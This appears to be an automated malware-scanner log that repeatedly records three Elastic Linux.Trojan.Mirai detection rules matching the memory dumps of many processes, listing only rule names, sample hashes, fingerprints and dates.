Source: 7307.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7307.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7307.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7325.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7325.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7325.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6250.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6250.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6250.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7061.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7061.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7061.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6780.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6780.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6780.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6995.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6995.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6995.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6306.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6306.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6306.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7140.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7140.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7140.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7264.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7264.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7264.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6410.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6410.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6410.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6266.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6266.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6266.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7383.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7383.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7383.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6726.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6726.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6726.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6546.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6546.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6546.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6584.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6584.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6584.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6327.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6327.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6327.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7100.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7100.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7100.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7012.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7012.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
